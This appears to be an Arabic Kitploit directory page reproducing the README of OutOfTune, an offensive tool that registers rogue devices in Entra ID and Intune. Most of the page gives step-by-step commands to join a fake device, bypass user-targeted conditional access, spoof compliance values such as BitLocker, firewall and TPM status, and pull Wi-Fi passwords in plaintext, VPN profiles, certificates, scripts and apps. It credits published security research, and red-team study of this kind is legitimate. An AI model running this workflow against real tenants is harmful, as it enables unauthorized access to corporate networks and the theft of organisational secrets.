Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
OutOfTune — أداة تسجيل الأجهزة المارقة لـ Entra ID و Intune MDM. تقوم بأتمتة انضمام الجهاز، الحصول على الرمز، التسجيل في MDM، والتحقق من OMA-DM لاستخراج السياسات، بيانات اعتماد Wi-Fi، البرامج النصية، والتطبيقات مع تجاوز الوصول المشروط. | Kitploit
أدوات/GitHubGitHub/stra-x/outoftune
المصادقة والترخيصتصعيد الامتيازاتتحليل الثغرات الأمنيةالحركة الجانبيةتدقيق التكوينجمع المعلوماتما بعد الاستغلالاختبار الاختراقأمن السحابةأمن الجوالإدارة الهوية والوصول (IAM)الفريق الأحمر
313منذ 4 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubstra-x/outoftune

OutOfTune

أداة تسجيل الأجهزة المارقة لـ Entra ID و Intune MDM. تقوم بأتمتة انضمام الجهاز، الحصول على الرمز، التسجيل في MDM، والتحقق من OMA-DM لاستخراج السياسات، بيانات اعتماد Wi-Fi، البرامج النصية، والتطبيقات مع تجاوز الوصول المشروط.

عرض المستودع

OutOfTune

مستوحى من أداة Pytune الأصلية، يقوم OutOfTune بتسجيل جهاز مارق في Entra ID، وتسجيله في Intune MDM، والتحقق من حالة الامتثال الناتجة.

يدعم فقط أجهزة Windows حيث كان هذا هدفي الرئيسي، وقد أضيف أجهزة إضافية في المستقبل.

المدونة المصاحبة:

  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access/
  • https://stra-x.github.io/Re-Engineering-Pytune-Rogue-devices-in-the-age-of-conditional-access-pt-2/

المتطلبات

root@kitploit:~
pip install -r requirements.txt

كيف يعمل

تسلسل العمليات يعمل على مراحل، كل مرحلة تبني على الحالة المحفوظة في chain_state.json.

root@kitploit:~
drs-token  ->  device-join  ->  device-token  ->  mdm-enroll  ->  mdm-checkin
  1. drs-token - الحصول على رمز وصول DRS (ROPC أو تم اختراقه مسبقًا)
  2. device-join - تسجيل كائن جهاز جديد في Entra ID، والحصول على شهادة جهاز
  3. device-token - المصادقة كهوية الجهاز (principal device)، والحصول على رمز تسجيل Intune
  4. mdm-enroll - اكتشاف SOAP + تسجيل WS-Trust، والحصول على شهادة عميل MDM
  5. mdm-checkin - تسجيل الدخول عبر OMA-DM SyncML، سحب السياسات، تعيين مستخدم أساسي اختياريًا

الاستخدام

1. الحصول على رمز DRS

ROPC (بيانات الاعتماد معروفة):

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -p Password1!

رمز تم الحصول عليه مسبقًا:

root@kitploit:~
python OutOfTune.py drs-token -u [email protected] -t <drs_access_token>

2. ضم جهاز إلى Entra ID

root@kitploit:~
python OutOfTune.py device-join
python OutOfTune.py device-join -n CORP-LAPTOP-01

يُخرج <DEVICENAME>.pfx - شهادة الجهاز. كلمة المرور هي password.


3. الحصول على رمز كهوية الجهاز

root@kitploit:~
python OutOfTune.py device-token
python OutOfTune.py device-token --cert CORP-LAPTOP-01.pfx

يُصادق إلى AAD كهوية الجهاز (وليس كمستخدم). يتجاوز سياسات CA المخصصة للمستخدمين.


4. التسجيل في Intune MDM

root@kitploit:~
python OutOfTune.py mdm-enroll
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json

يقوم بتشغيل اكتشاف SOAP على نقطة نهاية MDM، ثم يرسل طلب تسجيل WS-Trust PKCS10. يُخرج <DEVICENAME>_mdm.pfx.

استخدم --profile لتزوير سمات الأجهزة/نظام التشغيل المرسلة إلى Intune (انظر ملفات تعريف الأجهزة).


5. تسجيل الدخول OMA-DM

root@kitploit:~
python OutOfTune.py mdm-checkin
python OutOfTune.py mdm-checkin -r <refresh_token>
python OutOfTune.py mdm-checkin --cert CORP-LAPTOP-01_mdm.pfx
python OutOfTune.py mdm-checkin -O ./output
python OutOfTune.py mdm-checkin -O ./output --save-syncml ./output/raw

يقوم بتشغيل حلقة OMA-DM SyncML مقابل r.manage.microsoft.com. سيدفع Intune ملفات تعريف التكوين وتعيينات التطبيقات وأي سياسات أخرى تستهدف الجهاز. بعد اكتمال الحلقة، يتم استخراج المعلومات تلقائيًا وعرضها.

إذا تم توفير -r، يتم استبدال رمز التحديث برمز وصول لـ manage.microsoft.com ويُرسل كـ Authorization: Bearer في كل طلب SyncML. يقرأ Intune UPN من هذا الرمز ويضبطه كمستخدم أساسي للجهاز، مما يؤدي إلى ربط سياسات الامتثال المخصصة للمستخدم. تحتاج فقط إلى تشغيله مرة واحدة مع -r لتعيين مستخدم، ويمكن تشغيل جميع عمليات تسجيل الدخول اللاحقة بدون رمز تحديث.

بدون -r، لن يكون للجهاز مستخدم أساسي.

بعد هذا التسجيل الأولي، إذا لم تقم بتسجيل الدخول مرة أخرى لفترة ممتدة (عادة 5-7 أيام)، فقد يصبح الجهاز غير متوافق بسبب السياسة الافتراضية لـ "Is Active". اعتمادًا على تكوين Intune، قد يدخل الجهاز في فترة سماح قبل وضع علامة عليه كغير متوافق. إذا حدث هذا، أعد تشغيل mdm-checkin. إذا كنت قد استخدمت سابقًا رمز تحديث لتعيين مستخدم أساسي، فلا داعي لإرساله مرة أخرى حيث يتم تخزين المستخدم الأساسي الآن في خلفية Intune.

العلامات

المعلومات المفيدة المستخرجة


تحليل جولات SyncML المحفوظة

إعادة تحليل جولات XML الخام المحفوظة باستخدام --save-syncml دون تشغيل تسجيل دخول حي.

root@kitploit:~
python OutOfTune.py parse-checkin --dir ./output/raw -O ./output2
python OutOfTune.py parse-checkin --file ./output/raw/round_001.xml -O ./output2

التحقق من حالة الامتثال

root@kitploit:~
python OutOfTune.py check -u [email protected] -r <refresh_token>
python OutOfTune.py check -u [email protected] -p Password1!

يقوم بإصدار PRT من شهادة الجهاز، ويستبدله برمز IWService، ويستعلم IWService/Devices عن حالة امتثال الجهاز وأي قواعد غير متوافقة.

استخدم -r مع رمز تحديث جلسة MFA إذا كانت سياسة CA الخاصة بالمستأجر تتطلب MFA لمورد التسجيل.


تنزيل التطبيقات والبرامج النصية

يجلب تطبيقات Win32 والبرامج النصية PowerShell المخصصة للجهاز عبر IME SideCarGateway. يستخدم شهادة عميل MDM فقط — لا حاجة لرمز مستخدم.

root@kitploit:~
python OutOfTune.py download-apps
python OutOfTune.py download-apps --cert CORP-LAPTOP-01_mdm.pfx
  • يتم حفظ برامج PowerShell النصية في scripts/<PolicyId>.ps1
  • يتم تنزيل تطبيقات Win32 من CDN، وفك تشفيرها، واستخراجها إلى apps/<AppName>/

تنزيل البرامج النصية للتصحيح

يجلب البرامج النصية للتصحيح الاستباقي (أزواج الكشف + التصحيح) المخصصة للجهاز.

root@kitploit:~
python OutOfTune.py get-remediations
python OutOfTune.py get-remediations --cert CORP-LAPTOP-01_mdm.pfx

يتم حفظ كل سياسة في remediations/<PolicyId>/ تحتوي على:

  • detection.ps1 — برنامج الكشف النصي
  • remediation.ps1 — برنامج التصحيح النصي
  • params.json — معرف السياسة وأي معامِلات نصية

التنظيف

إذا فشل إزالة الجهاز من Intune، احذفه من Entra. ثم سيدخل في فترة سماح داخل Intune وسيُعاد إدارته تلقائيًا في وقت لاحق.

إزالة الجهاز من Intune:

root@kitploit:~
python OutOfTune.py retire-intune -u [email protected] -r <refresh_token>

حذف كائن الجهاز من Entra ID:

root@kitploit:~
python OutOfTune.py entra-delete

التحقق من تقدم السلسلة

root@kitploit:~
python OutOfTune.py status

ملفات تعريف الأجهزة

سمات الجهاز المرسلة إلى Intune أثناء التسجيل وتسجيل الدخول قابلة للتزوير بالكامل عبر ملف تعريف JSON. يشمل ذلك معرفات الأجهزة، إصدار نظام التشغيل، الشركة المصنعة، وجميع قيم امتثال CSP المُبلغ عنها ذاتيًا (BitLocker، جدار الحماية، Defender، TPM، الإقلاع الآمن).

root@kitploit:~
python OutOfTune.py mdm-enroll --profile profiles/dell_win11_ent.json
python OutOfTune.py mdm-checkin   # يتم حفظ ملف التعريف في الحالة وإعادة استخدامه تلقائيًا

ملفات التعريف المضمنة

الملفالجهاز
profiles/default.jsonالقيم الافتراضية (VMware / Win10 Enterprise)
profiles/dell_win11_ent.jsonDell Latitude 5540 / Windows 11 Enterprise 23H2

حقول ملف التعريف

جميع قيم DeviceStatus CSP هي مُبلغ عنها ذاتيًا ويتم الوثوق بها من قبل Intune دون تحقق مستقل. تتطلب فحوصات الامتثال HAS-attested (BitLockerEnabled، SecureBootEnabled عبر HealthAttestation CSP) وجود TPM حقيقي ولا يمكن تزويرها بهذه الطريقة.


العلامات العالمية

root@kitploit:~
--debug          تسجيل HTTP + الرموز المفصلة
--proxy <url>    توجيه حركة المرور عبر وكيل (مثل http://127.0.0.1:8080)

توضع هذه العلامات قبل الأمر:

root@kitploit:~
python OutOfTune.py --debug device-token
python OutOfTune.py --proxy http://127.0.0.1:8080 mdm-checkin

تجاوز الشهادات

إذا كانت لديك شهادات من تشغيل سابق أو تريد استخدام ملفات PFX محددة:

root@kitploit:~
python OutOfTune.py device-token      --cert path/to/device.pfx
python OutOfTune.py mdm-enroll        --cert path/to/device.pfx
python OutOfTune.py mdm-checkin       --cert path/to/mdm.pfx
python OutOfTune.py check             --cert path/to/device.pfx
python OutOfTune.py download-apps     --cert path/to/mdm.pfx
python OutOfTune.py get-remediations  --cert path/to/mdm.pfx

ملف الحالة

يتم حفظ جميع مخرجات المراحل في chain_state.json في دليل العمل. احذفه لبدء من جديد. استخدم status لفحص الحالة الحالية دون تشغيل أي شيء. إذا كنت تتعامل مع أجهزة متعددة، فتأكد من أن لكل جهاز ملف حالة خاص به. يمكن تغيير ملف الحالة الافتراضي في بداية البرنامج النصي للجهاز الذي تتعامل معه. كن حذرًا مع خيارات تجاوز الشهادات، فهي مخصصة أساسًا لأغراض التصحيح.

الإشادات

يعود الفضل الكبير إلى @temp43487580 الذي أنشأ Pytune الأصلية والذي جعل بحثه الأصلي هذا ممكنًا

  • https://i.blackhat.com/EU-24/Presentations/EU-24-Chudo-Unveiling-the-Power-of-Intune-Leveraging-Intune-for-Breaking-Into-Your-Cloud-and-On-Premise.pdf
  • https://temp43487580.github.io/intune/bypass-enrollment-restictions-to-break-byod-barriers-in-intune/
  • https://github.com/secureworks/pytune
تنزيل الأداة
العلامةالوصف
--cert FILEملف MDM PFX للاستخدام — يتم اشتقاق اسم الجهاز تلقائيًا من اسم الملف
-r RTرمز تحديث المستخدم — يعين المستخدم الأساسي (مطلوب مرة واحدة فقط)
-O DIRحفظ القطع الأثرية المستخرجة في DIR (wifi/، vpn/، scripts/، certs/، add_values.json، policy_values.json)
--save-syncml DIRحفظ ملفات SyncML الخام لكل جولة في DIR لإعادة التحليل دون اتصال
-o FILEكتابة كل مخرجات وحدة التحكم في FILE
الفئةمحفوظ فيملاحظات
ملفات تعريف Wi-Fiwifi/<SSID>.xml + _psk.txtيتم استخراج PSK بنص واضح إذا كان موجودًا
ملفات تعريف VPNvpn/<name>.xmlProfileXML كامل
حمولات الشهاداتcerts/cert_N.b64كتل PFX مشفرة (خام، لم يتم فك تشفيرها بعد)
تحديات SCEPمعروضةاسم طراز CA، رابط التحدي
البرامج النصيةscripts/<name>.ps1نصوص PowerShell المُرسلة عبر OMA-DM
روابط تنزيل MSIمعروضةروابط CDN مباشرة لتطبيقات LOB
كائن ODJodj_blob.b64 + odj_strings.txtالانضمام إلى المجال دون اتصال — يتم استخراج السلاسل القابلة للقراءة
قيم الإضافةadd_values.jsonجميع أوامر الإضافة الأخرى (شهادات Root CA، إعداد MDE، تكوين السياسة)
قيم الاستبدالpolicy_values.jsonقيم سياسة CSP التي يحددها Intune
الحقلCSPملاحظات
os_versionDevDetail/SwVفحوصات الامتثال للحد الأدنى/الأقصى لإصدار نظام التشغيل
os_edition_syncmlWindowsLicensing/Edition4 = Enterprise، 48 = Pro
manufacturerDevInfo/Manبعض السياسات تُدرج الشركات المصنعة في القائمة البيضاء
mac_addressSOAP AdditionalContext/MACجميع الأصفار مؤشر واضح
hw_dev_id_enrollSOAP AdditionalContext/HWDevID64 حرفًا سداسيًا عشريًا
bitlocker_statusBitLocker/Status/DeviceEncryptionStatus2 = مشفر (مُبلغ عنه ذاتيًا)
encryption_complianceDeviceStatus/Compliance/EncryptionCompliance1 = متوافق (مُبلغ عنه ذاتيًا)
firewall_statusDeviceStatus/Firewall/Status0 = نشط (مُبلغ عنه ذاتيًا)
secure_boot_stateDeviceStatus/SecureBootState1 = مفعل (مُبلغ عنه ذاتيًا، ليس HAS-attested)
tpm_versionDeviceStatus/TPM/SpecificationVersionلا دليل تشفيري
defender_enabledDefender/Health/DefenderEnabledtrue = قيد التشغيل
defender_versionDefender/Health/DefenderVersionبعض السياسات تفرض إصدارًا أدنى